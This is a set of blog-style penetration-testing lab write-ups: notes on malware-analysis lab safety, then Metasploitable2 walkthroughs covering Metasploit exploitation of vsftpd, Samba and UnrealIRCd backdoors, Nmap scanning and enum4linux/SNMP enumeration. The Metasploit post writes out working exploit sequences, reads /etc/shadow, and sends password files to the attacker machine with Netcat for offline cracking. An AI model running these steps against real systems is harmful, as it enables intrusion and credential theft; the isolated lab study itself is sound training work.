Look at the binary without running it. You're extracting metadata: file hashes, packer signatures, embedded strings, imports/exports, digital certificate info.

It won't tell you everything, but it's low-risk and often tells you where to focus next. A good rule of thumb from the methodology: start by asking "Is it malware? How bad is it? How do I detect it? How do I analyze it?" — static analysis is usually how you answer the first two.

Typical static analysis checklist:

File and section hashes
Packer identification
Embedded resources
Imports and exports
Crypto API references
Digital certificates
"Interesting" strings (URLs, registry paths, mutex names)

2. Dynamic (Behavioral) Analysis

Run the sample in an isolated sandbox and observe what it does — processes spawned, files written, registry keys created, network connections attempted. This reveals real-time behavior but won't expose every code path (malware often has logic that only triggers under specific conditions).

3. Code Analysis

This is where you go from "what does it do" to "how exactly does it do it."

Static code analysis — disassemble the binary, read the assembly without running it.
Dynamic code analysis — step through execution with a debugger, watching registers and memory live.

This requires understanding both the programming/assembly layer and OS internals — definitely the steepest part of the learning curve.

4. Memory Analysis

Inspect RAM, usually via a memory dump, to catch artifacts that static and dynamic analysis miss — especially useful against malware designed to evade detection or that only materializes fully in memory (fileless malware, process-injected code).

Building a Safe Analysis Lab — The Non-Negotiables

This is the part I want to emphasize because it's easy to skip and genuinely risky if you do.

Isolation is mandatory, not optional

The lab network must be isolated from your production network and from the internet by default.
Virtual machines (VirtualBox, VMware, Hyper-V) are the standard approach — multiple guest OSes running on one physical host, each set up like a normal machine but disposable.
A typical lab layout: a Windows analysis VM + a Linux VM (often REMnux, a Linux distro purpose-built for reverse engineering) communicating over a host-only virtual network.

Laboratory Network — 172.16.198.0/24 (isolated, host-only)
├── Windows 10/11 VM   (REM Workstation)
└── Linux VM           (REMnux)

Snapshots are your safety net

Virtualization software lets you snapshot a clean VM state and roll back instantly after infecting it. This is the single biggest workflow advantage over physical hardware — you can re-infect, observe, revert, repeat, without ever rebuilding from scratch.

For physical machines (when virtualization isn't an option, e.g., malware that detects VMs), you'd instead clone a clean disk image with tools like Clonezilla or dd and manually restore it post-analysis — far less convenient, but sometimes necessary.

Anticipate anti-analysis tricks

Some malware actively tries to detect that it's being watched — checking for virtualization artifacts, debugger presence, or sandbox indicators. If it detects analysis, it might terminate itself, sleep, or behave differently to throw off the investigator. Knowing this exists going in stops you from concluding "this sample is harmless" prematurely when it might just be hiding from your tools.

Be careful with external connections

If your investigation needs to reach the internet — following a C2 domain, checking OSINT sources — never do it from your normal connection or from inside the isolated lab network directly. Options range from Tor (weaker, exit nodes can be tracked) to a self-hosted VPN you spin up and destroy per-investigation. And critically: uploading a sample to a public service like VirusTotal makes your interest in that sample visible to anyone else watching it — including, in a targeted attack scenario, the attacker.

How to Verify

Since this article is methodology/notes-based rather than a completed hands-on lab, here's what verification looks like for this stage of learning:

[ ] I can explain the difference between a virus, worm, and Trojan without notes
[ ] I can name all four types of malware analysis and what each one reveals
[ ] I understand why host-only networking matters for a malware lab
[ ] I understand why VM snapshots are critical to a repeatable workflow
[ ] I know why uploading a sample to a public sandbox has tradeoffs

What I Learned

The biggest shift for me was realizing malware analysis isn't really about memorizing tool commands — it's about having a decision framework. Static analysis first because it's cheap and safe. Dynamic analysis to see real behavior. Code analysis when you need to know exactly how something works at the instruction level. Memory analysis when the malware is actively trying to stay invisible.

The lab isolation piece also reframed something for me: the "lab" isn't just a VM you click into — it's a deliberately engineered environment with isolation, repeatability, and anti-detection considerations baked in from the start. Skipping any of those isn't a shortcut, it's a liability.

Common Mistakes

Mistake	Why It's a Problem	Better Approach
Running unknown samples on your main machine	Real risk of infecting production systems or your daily-driver OS	Always isolate in a dedicated VM/lab network
Connecting to C2 domains from your real IP	Exposes your identity/origin to the attacker, can trigger retaliation or fingerprinting	Use a disposable VPN or properly configured Tor, and understand the tradeoffs of each
Jumping straight to a debugger	Skips cheap, low-risk static analysis that often narrows your focus	Always start static, then move to dynamic/code analysis as needed
Uploading every sample to public sandboxes by default	Reveals your investigation to anyone monitoring that sample, may violate data-sharing policies	Check hashes/IOCs against threat intel first; only upload when appropriate
Treating a single VM snapshot as "good enough"	Makes it hard to compare before/after states across multiple test runs	Take snapshots at meaningful checkpoints, not just once

Conclusion

This was a "build the mental model first" kind of write-up rather than a hands-on walkthrough — but I think that's the right order. Going into static/dynamic/code/memory analysis without understanding malware classification or lab safety is how people either waste time or take unnecessary risks.

Next up, I want to actually run a static analysis pass on a real sample in an isolated lab and document the process end-to-end — strings, hashes, IOCs, the works. That'll be a much more hands-on follow-up to this one.

If you're also getting into malware analysis, I'd genuinely like to hear what resources or labs helped the concepts click for you.

Exploiting Metasploitable2 with Metasploit: VSFTPD, Samba, and More

Khalif AL Mahmud — Fri, 26 Jun 2026 07:42:17 +0000

Scanning a network and listing open ports is useful. Actually exploiting those ports and landing
a root shell — that is where exploitation begins. In this write-up I walk through a full Metasploit
session against Metasploitable2: setting up the framework with a PostgreSQL backend, running
a database-backed Nmap scan, exploiting three separate vulnerabilities (vsftpd, Samba, and
UnrealIRCd), exfiltrating credential files over Netcat, and understanding exactly why each
vulnerability works.

Everything here was run in an isolated VirtualBox lab. No external systems were touched.

The Problem This Solves

You have enumerated a target and you have a service list. Now what? Knowing that port 21 runs
vsftpd 2.3.4 is one thing. Knowing that vsftpd 2.3.4 ships with a compiled-in backdoor — and
being able to trigger it in three commands — is something else entirely. This post covers the full
path from service discovery to root shell across three different attack surfaces.

Lab Environment

Machine	Role	IP Address
Kali Linux 2026.1	Attacker	192.168.1.4
Metasploitable2	Target	192.168.1.3

Network: 192.168.1.0/24 — fully isolated NAT network inside VirtualBox.

Step 1 — Setting Up Metasploit with a Database Backend

Metasploit stores scan results, hosts, services, and vulnerabilities in a PostgreSQL database.
Getting this set up correctly before starting means all your Nmap results persist between
sessions and you can query them inside msfconsole.

# Start PostgreSQL
sudo systemctl start postgresql

# Initialize the Metasploit database (one time only)
sudo msfdb init

# Launch Metasploit
msfconsole

Once inside msfconsole:

# Verify database connection
msf6> db_status
# [*] Connected to msf. Connection type: postgresql.

# Create a workspace for this session
msf6> workspace -a 178-metasploitable2

# Confirm the workspace is active
msf6> workspace

Now run a full Nmap scan directly from within Metasploit. The db_nmap command runs Nmap
and automatically saves all results to the database.

msf6> db_nmap -A 192.168.1.0/24 -n

After the scan completes, query the results:

msf6> hosts    # List all discovered hosts
msf6> services # List all discovered services

Two FTP servers were found running on Metasploitable2:

Port	Service	Info
21/tcp	ftp	vsftpd 2.3.4
2121/tcp	ftp	ProFTPD 1.3.1

The full services table also revealed SSH, Telnet, SMTP, HTTP, MySQL, PostgreSQL, VNC,
Samba (on 139 and 445), IRC on 6667, and a Metasploitable root shell on 1524 — a deliberately
over-exposed machine.

Step 2 — Exploiting vsftpd 2.3.4 (Backdoor Command Execution)

The Vulnerability

In July 2011, someone compromised the vsftpd 2.3.4 download mirror and inserted a malicious
backdoor into the source archive. The backdoor is simple and elegant in a malicious way: if the
FTP username contains a :) smiley face character, the server opens a TCP callback shell on
port 6200. The code diff is documented at https://pastebin.com/AetT9sS5.

Finding the Exploit

msf6> search type:exploit name:vsftpd

One result came back:

exploit/unix/ftp/vsftpd_234_backdoor   2011-07-03   excellent   Yes

Running the Exploit

msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info

msf6> show options
# Required options: RHOSTS, RPORT

msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit

The exploit triggered the backdoor and opened a Meterpreter session. Dropping to a shell:

meterpreter> shell

whoami
# root

uname -a
# Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Extracting the Shadow File

With root access, the /etc/shadow file — which stores hashed user passwords — is readable:

cat /etc/shadow | grep '$1'

This outputs the MD5-hashed ( $1$ ) passwords for all accounts that have a password set.
The hash format is $1$<salt>$<hash> — crackable offline with tools like John the Ripper or
Hashcat.

Step 3 — Exploiting Samba (CVE-2007-2447)

The Vulnerability

The Samba username map script configuration option — present in versions 3.0.0 through
3.0.25rc3 — allows shell meta-characters in the username field to be passed directly to
/bin/sh. No authentication is required because the username is processed before
authentication occurs. This is CVE-2007-2447, and Metasploitable2 runs Samba 3.0.20-Debian.

msf6> search type:exploit name:samba
# Returns ~7 Samba exploits

msf6> use exploit/multi/samba/usermap_script
msf6> info

msf6> set RHOSTS 192.168.1.3
msf6> exploit

whoami
# root

smbd --version
# Version 3.0.20-Debian

Exfiltrating Credential Files with Netcat

With shell access via the Samba exploit, I used Netcat to pull /etc/passwd and /etc/shadow
off the target cleanly — no copy-paste, just piped data over TCP.

On Kali (Tab 2 — listening):

nc -l -p 4567 > passwd.txt

On the exploit shell (Tab 1 — sending):

cat /etc/passwd | nc 192.168.1.4 4567

Kill the listener with CTRL-C and verify the file arrived:

cat passwd.txt

Repeat for /etc/shadow:

# Tab 2
nc -l -p 4567 > shadow.txt

# Tab 1 (exploit shell)
cat /etc/shadow | nc 192.168.1.4 4567

Then merge both files with unshadow for offline cracking:

unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt

The unshadow command combines the username/home directory fields from /etc/passwd with
the hash fields from /etc/shadow into a single format that password crackers like John the
Ripper can consume directly.

Step 4 — Exploiting UnrealIRCd 3.2.8.1 (Backdoor)

The Vulnerability

UnrealIRCd 3.2.8.1 was distributed with a deliberate backdoor inserted into its source code.
When the character sequence AB is sent to the IRC port (6667), the server executes any
command that follows it with root privileges — no authentication, no handshake. This is
identical in concept to the vsftpd backdoor: a supply-chain compromise of the software
distribution itself.

Finding and Running the Exploit

msf6> search type:exploit name:unreal
# Found: exploit/unix/irc/unreal_ircd_3281_backdoor

msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit

whoami
# root

uname -a
# Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Required options for this exploit:

Option	Value	Description
RHOSTS	192.168.1.3	Target IP
RPORT	6667	IRC default port
LHOST	192.168.1.4	Kali listener IP
payload	cmd/unix/bind_netcat	Bind shell via Netcat

Three exploits. Three root shells. Same target, different attack surfaces.

How Metasploit's Workflow Connects

One thing that becomes clear when running these exploits back to back is how Metasploit is
designed as a pipeline, not just a collection of scripts.

db_nmap → hosts → services → search → use → info → show options → set → exploit → shell

Each stage feeds the next. The database stores your scan results so you are not re-running
Nmap every time you switch exploits. Workspaces keep different engagements isolated.
search filters by type, name, platform, CVE, rank — whatever is useful. info gives you the
full context before you commit to running anything.

How to Verify Your Results

Check	Command
Confirm database connection	`msf6> db_status`
List discovered services	`msf6> services`
Verify vsftpd version	`msf6> services -S ftp`
Confirm Samba version post-exploit	`smbd --version` on remote shell
Verify root access	`whoami` on remote shell
Check kernel version	`uname -a` on remote shell
Verify exfiltrated file	`wc -l passwd.txt` — should match `/etc/passwd` line count

What I Learned

Supply-chain attacks are not new. Both vsftpd 2.3.4 and UnrealIRCd 3.2.8.1 were
compromised at the distribution level — malicious code was baked into the official download.
Users who verified package signatures would have caught this; most did not. The pattern is
identical to modern supply-chain incidents, just from 2011 and earlier.

No authentication needed does not mean no access. CVE-2007-2447 in Samba processes
the username before authentication happens. The exploit fires before Samba even checks
credentials. This means patching is the only mitigation — there is no authentication control that
stops it.

Netcat is still one of the most useful tools in the kit. No GUI, no protocol overhead, no
dependencies. cat file | nc ip port for exfiltration and nc -l -p port > file for receiving is
a pattern that works across almost every Unix system regardless of what else is installed.

Metasploit is a framework, not a button. The power is in understanding what each module
does, what CVE it maps to, and what options it requires — not just typing exploit and hoping.
Running info before exploit should be a habit.

Common Mistakes

Mistake	What Happens	Fix
Skipping `msfdb init`	msfconsole launches but has no database — scan results are not saved	Run `sudo msfdb init` once before first use
Not setting `LHOST`	Reverse shell has nowhere to connect back to	Always set `LHOST` to your Kali IP for reverse payloads
Running `msfdb init` every session	Overwrites existing data	Run it once only; use `sudo msfdb status` to check
Using wrong RPORT	Exploit sends payload to wrong port and fails silently	Confirm port from `services` output before setting
Closing the Netcat listener too early	Partial file transfer, truncated output	Wait a moment after the pipe command before CTRL-C
Not running `unshadow` before cracking	Password crackers need combined format	Always merge passwd + shadow before attempting cracks

Conclusion

Three exploits, three root shells, two credential files exfiltrated, and one clear picture of how
Metasploit operates as a framework. The vsftpd backdoor triggers on a smiley face in the
username. The Samba usermap_script flaw passes shell meta-characters straight to /bin/sh
before authentication. The UnrealIRCd backdoor executes commands as root the moment it sees
AB on the wire.

All three vulnerabilities have one thing in common: they were not found through fuzzing or
memory corruption. They were backdoors — intentional, inserted at the source, and effective
until someone noticed. That context matters when thinking about software supply chains today.

Network Enumeration in Practice: Nmap, enum4linux, snmpwalk, and GUI Tools

Khalif AL Mahmud — Fri, 26 Jun 2026 06:24:36 +0000

Enumeration is the phase where a penetration tester moves from "I know something is there" to
"I know exactly what is running, who has access, and how it is configured." It is the bridge
between passive reconnaissance and active exploitation — and getting it right is what separates
a surface-level scan from a real assessment.

In this write-up I walk through a full enumeration exercise I ran against an isolated lab
environment: ping sweep, stealth SYN scan with OS detection, Windows enumeration with
enum4linux, SNMP walking, and a roundup of GUI tools. Every command is real, every screenshot
is from the actual session.

The Problem This Solves

You have identified a target network. Now what? Raw connectivity is not enough. You need to
know which hosts are alive, what OS they run, which services are exposed, who the local users
are, what the password policy looks like, and whether SNMP is leaking system internals. Each of
those questions maps to a different tool and a different technique. This post covers all of them
in one place.

Lab Environment

Machine	Role	IP Address
Kali Linux 2026.1	Attacker	192.168.1.4
Metasploitable2	Linux Target	192.168.1.3
Windows 7 / Windows 10	Windows Target	192.168.1.5 / 192.168.1.6

Network: 192.168.1.0/24 — fully isolated NAT network inside VirtualBox.

Step 1 — Ping Sweep: Finding Live Hosts

Before anything else, I need to know which machines are actually on the network. Nmap's -sP
flag (ping scan only) sweeps the entire subnet without touching any ports.

sudo nmap -sP 192.168.1.0/24

What came back:

Nmap scan report for 192.168.1.1  → Gateway
Nmap scan report for 192.168.1.2  → Live host
Nmap scan report for 192.168.1.3  → Metasploitable2 (MAC: 08:00:27:EF:BD:E4)
Nmap scan report for 192.168.1.4  → Kali (no MAC shown — local machine)

Four hosts alive. Metasploitable2 confirmed at 192.168.1.3.

Step 2 — Stealth SYN Scan with OS Detection

Now I want the full picture on the target: open ports, service versions, and OS fingerprint. The
-sSV flags combine a SYN stealth scan with version detection. -O adds OS fingerprinting.

sudo nmap -sSV -O 192.168.1.3

A SYN scan sends a SYN packet and waits for SYN/ACK — it never completes the three-way
handshake, so many older logging systems miss it entirely.

Key results:

Port	Service	Version
21/tcp	FTP	vsftpd 2.3.4
22/tcp	SSH	OpenSSH 4.7p1
23/tcp	Telnet	Linux telnetd
80/tcp	HTTP	Apache 2.2.8
3306/tcp	MySQL	5.0.51a
5432/tcp	PostgreSQL	8.3.0–8.3.7
5900/tcp	VNC	Protocol 3.3
1524/tcp	Backdoor	Metasploitable root shell

OS Details:

Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 – 2.6.33
Network Distance: 1 hop
Service Info: metasploitable.localdomain, irc.Metasploitable.LAN

Metasploitable2 is deliberately over-exposed — that is the point of the VM — but the scan
output shows exactly the kind of data an attacker would use to prioritize entry points.

Step 3 — Windows Enumeration with enum4linux

Enum4linux is a wrapper around several Samba tools (nmblookup, net, rpcclient,
smbclient) that automates the extraction of Windows/Samba information over SMB.

Target: Windows 7 VM at 192.168.1.5

Credentials used: khalif / admin

Enumerate Users

enum4linux -u khalif -p admin -U 192.168.1.5

Users found:

Account	RID	Description
Administrator	0x1f4	Built-in admin account
dummytestwin7	0x3e9	Test account
Guest	0x1f5	Built-in guest account
khalif	0x3e8	Local user

The domain/workgroup resolved to WORKGROUP with a NULL SID — meaning this machine is
not joined to a domain.

Enumerate Password Policy

enum4linux -u khalif -p admin -P 192.168.1.5

Policy extracted:

Setting	Value
Minimum password length	None (0)
Password complexity	Disabled
Password history length	None
Maximum password age	41 days 23 hours
Account lockout duration	30 minutes
Reset lockout counter	30 minutes
Lockout threshold	None
Forced logoff time	Not set

No complexity requirement and no minimum length is a serious misconfiguration — trivially
crackable passwords are allowed by policy.

Enumerate Groups

enum4linux -u khalif -p admin -G 192.168.1.5

Built-in groups found:

Administrators (RID 0x220) — members: WINDOWS07\Administrator, WINDOWS07\khalif
Users (RID 0x221) — members: NT AUTHORITY\INTERACTIVE, NT AUTHORITY\Authenticated Users, WINDOWS07\khalif, WINDOWS07\dummytestwin7
Guests (RID 0x222) — member: WINDOWS07\Guest
IIS_IUSRS, Event Log Readers, Performance Log Users, Performance Monitor Users, Distributed COM Users

Notably, khalif sits in both Users and Administrators — a privilege issue worth flagging
in any real assessment.

Enumerate Shares

enum4linux -u khalif -p admin -S 192.168.1.5

Shares found:

Share	Type	Comment	Access
ADMIN$	Disk	Remote Admin	DENIED
C$	Disk	Default share	DENIED
IPC$	IPC	Remote IPC	N/A

All administrative shares were present but mapping was denied — which is the expected behavior
for non-domain environments without explicit share permissions granted.

Step 4 — SNMP Enumeration with snmpwalk

SNMP (Simple Network Management Protocol) is a protocol designed for monitoring and managing
network devices. When misconfigured — specifically when using the default community string
public — it hands over a remarkable amount of system information to anyone who asks.

First, check if port 161 (SNMP UDP) is open:

nmap -sU -p 161 127.0.0.1

If you want to practice locally, install snmpd on Kali:

sudo apt update
sudo apt install snmpd
sudo service snmpd start

Then walk the MIB tree:

snmpwalk -v 2c -c public 127.0.0.1

What snmpwalk returned (selected highlights):

iso.3.6.1.2.1.1.1.0 = STRING: "Linux kali 6.18.12+kali-amd64 #1 SMP..."
iso.3.6.1.2.1.1.4.0 = STRING: "Me <me@example.org>"
iso.3.6.1.2.1.1.5.0 = STRING: "kali"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 EA 05 02 16 34 24 00 2D 07 00
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-6.18.12+kali-amd64 root=/dev/sda1 ro quiet splash"

In a real engagement, SNMP with public or private as community strings can expose running
processes, installed software, network interfaces, routing tables, and more — all without
authentication.

Step 5 — GUI Tools for Windows Enumeration

Advanced IP Scanner

Scanned 192.168.1.1-255. Found 2 alive hosts visible from the Windows VM. Simple, clean
output with hostname, IP, manufacturer, and MAC address columns. Good for quick host discovery
when you want a point-and-click interface.

Hyena

Hyena connected to the local workstation (\\WINDOWS10) and enumerated 5 local user
accounts. The left panel exposes Drives, Local Connections, Users, Local Groups, Printers,
Shares, Services, Events, Registry, and WMI — essentially everything you could pull from the
command line, wrapped in a tree-view GUI. Useful for comprehensive local system auditing.

SuperScan

SuperScan 4.1 scanned 192.168.1.1–254 and found 4 live hosts. Notable result for
192.168.1.3 (Metasploitable2): 78 open UDP ports detected, including 67, 68, 69, 111, 123,
137, 138, 161, 445, 500, 514, 520, 1009, 1024–1028, 2049, 2140, 4500, and many
ephemeral ports. This confirms SNMP (161) and NFS (2049) exposure on the target.

SoftPerfect Network Scanner

SoftPerfect returned all 4 hosts with MAC addresses and automatically resolved hostnames for
two of them: METASPLOITABLE (192.168.1.3) and Windows10 (192.168.1.6). Response times
were near-zero for local hosts. Clean and fast — my preferred tool for a quick visual inventory.

ADExplorer

ADExplorer requires a Domain Controller. Since the test machine was a standalone workgroup
machine, it returned: "The specified domain either does not exist or could not be contacted."
This is expected behavior — ADExplorer is the right tool when you are assessing an environment
with Active Directory, not a workgroup setup.

How to Verify Your Results

Check	Command / Action
Confirm Metasploitable2 IP	`ping 192.168.1.3` from Kali
Verify open ports	`nmap -sSV 192.168.1.3`
Confirm SNMP is running	`nmap -sU -p 161 <target>`
Validate enum4linux output	Cross-check users against `net user` on Windows target
Verify shares exist	`smbclient -L //192.168.1.5 -U khalif`

What I Learned

Running these tools back-to-back in sequence — rather than in isolation — made a few things
obvious that are easy to miss when you read about them separately.

Enumeration is cumulative. The ping sweep gives you a host list. The SYN scan turns that
list into a service map. Enum4linux takes one host from that map and extracts users, groups,
and policy. Each step feeds the next.

SNMP is underestimated. A single snmpwalk against a device with a default community
string returns kernel version, hostname, boot parameters, uptime, and interface information
without any authentication. Most people think of it as "network monitoring" — attackers think of
it as a free intelligence feed.

Passive vs. active matters. The SYN scan is stealthy in the sense that it does not complete
the TCP handshake, but it still generates network traffic. On a monitored network, a sweep of
this scale would trigger alerts. Knowing where each tool sits on the visibility spectrum matters
when you are planning an engagement.

Tool redundancy has value. SuperScan, SoftPerfect, and Advanced IP Scanner all found live
hosts — but they presented different detail levels. Having multiple tools confirm the same finding
increases confidence. And occasionally one will catch something another missed.

Common Mistakes

Mistake	What Actually Happens	Fix
Running `nmap` without `sudo`	SYN scan falls back to TCP connect scan — more detectable	Always use `sudo` for `-sS`
Wrong CIDR on ping sweep	Misses hosts or scans outside your network	Double-check with `ip addr` before scanning
Using default `public` community string assumption	Some targets use `private` or custom strings	Try `snmpwalk` with multiple community strings
Forgetting `-U` flag is case-sensitive in enum4linux	May return no results or auth errors	Use lowercase flags exactly as documented
Expecting ADExplorer to work on workgroup machines	It requires a Domain Controller	Only use ADExplorer in AD environments
Treating open shares as accessible	ADMIN$ and C$ showed up but mapping was denied	Enumeration ≠ access — verify with explicit mount attempts

Conclusion

Enumeration is not a single tool or a single command — it is a phase. You layer your findings:
network topology from the ping sweep, service exposure from the SYN scan, identity data from
enum4linux, system internals from SNMP, and a visual confirmation from GUI tools. By the end
of this exercise, I had a full picture of every host on the network, the OS details of the Linux
target, the user accounts and password policy of the Windows target, and the SNMP tree of a
local system.

The real skill is knowing which tool to reach for at each stage — and knowing what to do with
the output once you have it.

I Scanned a Vulnerable VM with Every Nmap Mode — Here Is What Each One Revealed

Khalif AL Mahmud — Thu, 25 Jun 2026 16:03:36 +0000

Passive reconnaissance tells you what a target has exposed to the internet. Active scanning tells you what is actually running — open ports, services, versions, operating system, and more. The two phases together give you a complete picture before you write a single line of exploit code.

I set up an isolated lab environment with Kali Linux and Metasploitable2 — a deliberately vulnerable Linux VM used for security testing practice — and ran every major Nmap scanning mode against it. Host discovery, TCP scanning, UDP scanning, OS detection, service version fingerprinting, and a full aggressive scan.

This article walks through each mode, the exact commands, and what the output actually means from a security perspective.

Lab Setup

Two VMs on an isolated NAT network in VirtualBox:

Machine	IP Address	Role
Kali Linux 2026.1	192.168.1.4	Attacker
Metasploitable2	192.168.1.3	Target

Both connected to the same internal network with no external internet access — a clean, noise-free environment for packet capture.

nmap --version
# Nmap version 7.99

Task 1: Host Discovery — What Does Nmap Send Before It Scans?

Before Nmap scans any ports, it needs to confirm the target is alive. The -sn flag runs host discovery only — no port scanning.

sudo nmap -sn 192.168.1.3

On a local ethernet network as root, Nmap uses ARP — not ICMP or TCP. ARP (Address Resolution Protocol) is a layer-2 protocol that maps IP addresses to MAC addresses. On a local network, ARP requests always get through because they operate below the IP layer. Firewalls that block ICMP cannot block ARP.

The Wireshark trace confirms: Nmap sent an ARP request (Who has 192.168.1.3? Tell 192.168.1.4) and received an ARP reply. No ICMP, no TCP — just ARP. This is why running Nmap with sudo on a local network behaves differently from running it without.

Host Discovery Against a Remote Target: 8.8.8.8

sudo nmap -sn 8.8.8.8

8.8.8.8 is Google's public DNS server. Because it is not on the local ethernet segment, ARP does not work — ARP only operates within a single broadcast domain. So Nmap switches to IP-layer methods:

ICMP Echo Request (ping)
ICMP Timestamp Request
TCP SYN → port 443
TCP ACK → port 80

Reverse DNS hostname: Nmap also sends a PTR record lookup for 8.8.8.8.in-addr.arpa. The response comes back as dns.google — confirming that 8.8.8.8 is Google's DNS infrastructure.

What replies came back: Nmap received an ICMP Echo Reply from 8.8.8.8, confirming the host is online. The TCP SYN packets may not have received responses depending on Google's firewall, but the ICMP reply was sufficient to mark the host as up.

Key insight: ARP for local targets, ICMP+TCP for remote targets. The method changes based on network layer reachability, not the target OS.

Task 2: TCP Port Scanning — The Full Port Map

sudo nmap -sT 192.168.1.3   # Connect scan — completes full TCP handshake
sudo nmap -sS 192.168.1.3   # SYN scan — sends SYN, reads response, sends RST

The SYN scan (-sS) is faster and quieter — it never completes the three-way handshake. The connect scan (-sT) is noisier but works without root privileges. Both returned identical results here.

Full PORT | STATE | SERVICE table:

PORT      STATE  SERVICE
21/tcp    open   ftp
22/tcp    open   ssh
23/tcp    open   telnet
25/tcp    open   smtp
53/tcp    open   domain
80/tcp    open   http
111/tcp   open   rpcbind
139/tcp   open   netbios-ssn
445/tcp   open   microsoft-ds
512/tcp   open   exec
513/tcp   open   login
514/tcp   open   shell
1099/tcp  open   rmiregistry
1524/tcp  open   ingreslock
2049/tcp  open   nfs
2121/tcp  open   ccproxy-ftp
3306/tcp  open   mysql
5432/tcp  open   postgresql
5900/tcp  open   vnc
6000/tcp  open   X11
6667/tcp  open   irc
8009/tcp  open   ajp13
8180/tcp  open   unknown

23 ports open. 977 ports closed.

From a security standpoint this is a serious exposure. Telnet (23) sends credentials in plaintext. Ports 512/513/514 are r-services — remote execution with notoriously weak authentication. Port 1524/ingreslock on Metasploitable2 is an intentional backdoor shell. MySQL (3306) and PostgreSQL (5432) are directly reachable with no firewall. VNC (5900) gives graphical remote access. IRC on 6667 is a classic botnet C2 channel.

Task 3: UDP Port Scanning — The Overlooked Protocol

UDP scanning is slower and trickier than TCP because UDP is connectionless — there is no SYN-ACK to confirm a port is open. Nmap infers state from service responses or the absence of ICMP "port unreachable" messages.

sudo nmap -sU -sV -T4 --top-ports=100 192.168.1.3

-sU — UDP scan
-sV — service version detection (critical for UDP accuracy)
-T4 — aggressive timing (safe on a local VM)
--top-ports=100 — scan only the 100 most common UDP ports

4 UDP ports confirmed open:

Port	Service	Version
53/udp	domain	ISC BIND 9.4.2
111/udp	rpcbind	2 (RPC #100000)
137/udp	netbios-ns	Microsoft Windows netbios-ns (workgroup: WORKGROUP)
2049/udp	nfs	2-4 (RPC #100003)

ISC BIND 9.4.2 is a 2008-era DNS server with known vulnerabilities. NFS on 2049 means the filesystem may be network-mountable. NetBIOS on 137 leaks network naming information. Without -sV, most of these would have shown as open|filtered — the version probe is what confirmed them as definitively open.

Task 4: OS Detection — Fingerprinting the Kernel

Nmap's OS detection sends specially crafted packets and analyzes TCP/IP stack characteristics — ISN sampling, TTL values, window sizes — that vary between operating systems.

sudo nmap -O 192.168.1.3

Results:

Field	Value
Device type	general purpose
OS CPE	`cpe:/o:linux:linux_kernel:2.6`
OS details	Linux 2.6.9 – 2.6.33

The actual kernel version, confirmed inside the VM:

uname -r
# 2.6.24-16-server

Nmap's range was 2.6.9 – 2.6.33. The real kernel is 2.6.24 — squarely within that range. OS fingerprinting is probabilistic, but tight enough to target version-specific kernel exploits.

Task 5: Version and Service Scanning

Port numbers tell you what service is supposed to be there. Version scanning tells you what is actually there — the specific software version you need to look up CVEs.

sudo nmap -sV 192.168.1.3

Selected findings:

Port	Service	Version
21/tcp	ftp	vsftpd 2.3.4
22/tcp	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp	domain	ISC BIND 9.4.2
80/tcp	http	Apache httpd 2.2.8 (Ubuntu) DAV/2
139/tcp	netbios-ssn	Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
1524/tcp	bindshell	Metasploitable root shell
3306/tcp	mysql	MySQL 5.0.51a-3ubuntu5
5432/tcp	postgresql	PostgreSQL DB 8.3.0 – 8.3.7
5900/tcp	vnc	VNC (protocol 3.3)
8180/tcp	http	Apache Tomcat/Coyote JSP engine 1.1

vsftpd 2.3.4 contains a backdoor — appending :) to a username during FTP login opens a root shell on port 6200. OpenSSH 4.7p1 is from 2007. Port 1524 is labeled "Metasploitable root shell" — Nmap's script engine recognized it as an intentional backdoor, not a legitimate service.

Task 6: Complete Scan — Everything at Once

sudo nmap -A 192.168.1.3

NetBIOS workgroup: WORKGROUP

2048-bit RSA SSH host key:

56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

Additional findings from the aggressive scan:

FTP: anonymous login allowed — no credentials required
VNC: no authentication — Security Type None
SMTP: PIPELINING, VRFY enabled (allows username enumeration)
IRC: UnrealIRCd on irc.Metasploitable.LAN
Samba: computer name metasploitable, domain localdomain
MySQL: Protocol 10, version 5.0.51a

VNC with no authentication means graphical takeover from anywhere on the network. Anonymous FTP means open read/write access to the FTP share. With the root shell on 1524 and the vsftpd backdoor on 21, this machine offers multiple paths to full compromise.

The Complete Nmap Scanning Sequence

Flag	Scan Type	How It Works	When to Use
`-sn`	Host discovery	ARP (local) or ICMP+TCP (remote)	Confirming targets before scanning
`-sT`	TCP connect	Full three-way handshake	When you do not have root
`-sS`	TCP SYN	Half-open (SYN → SYN-ACK → RST)	Default with root — faster, quieter
`-sU`	UDP	Protocol probes + ICMP port unreachable	Finding UDP services often missed
`-O`	OS detection	TCP/IP stack fingerprinting	Targeting kernel-specific exploits
`-sV`	Version scan	Banner grabbing + service probes	Finding exact software versions
`-A`	Aggressive	All of the above + NSE scripts + traceroute	Deep dive on specific confirmed targets

What I Learned

ARP vs ICMP matters — On a local network, Nmap uses ARP as root. On a remote target, it uses ICMP and TCP. Understanding the difference changes how you interpret Wireshark captures alongside Nmap output.

Version numbers are the bridge to exploitation — A port number is a hint. A version number is an exploit reference. vsftpd 2.3.4 has a documented backdoor. BIND 9.4.2 has published CVEs. The version scan is where reconnaissance becomes actionable.

OS fingerprinting is probabilistic, not exact — The range 2.6.9–2.6.33 was correct, but it is a range. Exact kernel version needed uname -r inside the box. Use OS detection to narrow down — not to pin down.

